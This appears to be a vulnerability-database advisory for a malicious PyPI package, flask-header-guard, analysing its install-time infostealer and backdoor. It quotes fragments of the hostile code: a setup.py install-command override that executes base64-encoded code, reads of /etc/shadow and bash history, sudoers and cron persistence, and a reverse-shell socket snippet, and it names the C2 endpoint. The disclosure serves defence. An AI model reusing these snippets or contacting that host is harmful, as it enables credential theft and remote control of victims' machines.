VDB

GCVE-110-OSM-2026-11574

GCVE-110-OSM-2026-11574
Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published August 29, 2026
During installation, the package attempts to exfiltrate sensitive environment variables and files, establish persistence and open a reverse shell. Additionally, the provided Flask middleware embeds a backdoor. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-08-pygame-renderkit Reasons (based on the campaign): - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine. - files-exfiltration - The package overrides the install command in setup.py to execute malicious code during installation. - exfiltration-env-variables - persistence Judge assessment: This is a clear install-time infostealer/backdoor aimed at the host environment: `setup.py` overrides `cmdclass={'install': PostInstallCommand}` and forks into `exec(compile(base64.b64decode(ENCODED)...))`, so the payload runs on installation. The deobfuscated payload explicitly collects secret-bearing environment variables, reads sensitive files like `/etc/passwd`, `/etc/shadow`, `/root/.bash_history`, and writes the loot to `/tmp/.sandbox_data.json`, then sets up persistence via `/etc/sudoers.d/.fhg` and cron. It also contains a reverse shell that connects to `smat7ckgzo.localto.net:6303`, which is a deobfuscated custom-C2 endpoint, matching the attacker model of a compromised PyPI package used for credential theft and remote access. The OSV advisory is corroborated by the actual code and recovered IOCs, not contradicted by it. ENTRY setup.py (install-hook: install/develop/build override present) - setup.py Code Execution in setup.py DESTINATION - 1 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Sensitive File Access in setup.py: "'/etc/passwd'" - Reverse Shell in setup.py: "socket.socket()\n s.connect(("%%HOST%%",%%PORT%%))\n os.dup2(s.fileno(),0)\n os...." - Data Encoding for Exfiltration in setup.py: "base64.b64encode(" OBFUSCATION - Python Exec with Encoded Content in setup.py: "exec(compile(base64" - IOCs Found in Deobfuscated Code in setup.py - recovered 1 domains, 1 _domainCandidates from decoded/deobfuscated content ADDITIONAL FINDINGS - Base64 Decoded Eval in setup.py: "compile(base64" - Download Execute Delete Pattern in setup.py: "open('/tmp/.cron_fhg','w') as f: f.write(existing + cron) subprocess.call(['cron..." - Shell Command Execution in flask_header_guard/backdoor.py: "subprocess.run(" - Silent Process Execution in setup.py: "stdout=subprocess.DEVNULL" - Setup.py Command Override in setup.py: "cmdclass={'install'" PAYLOAD FILES setup.py

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknownflask-header-guardall (affected)

References

advisory
vendor

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

$ Console Community · 100/wk Open console ›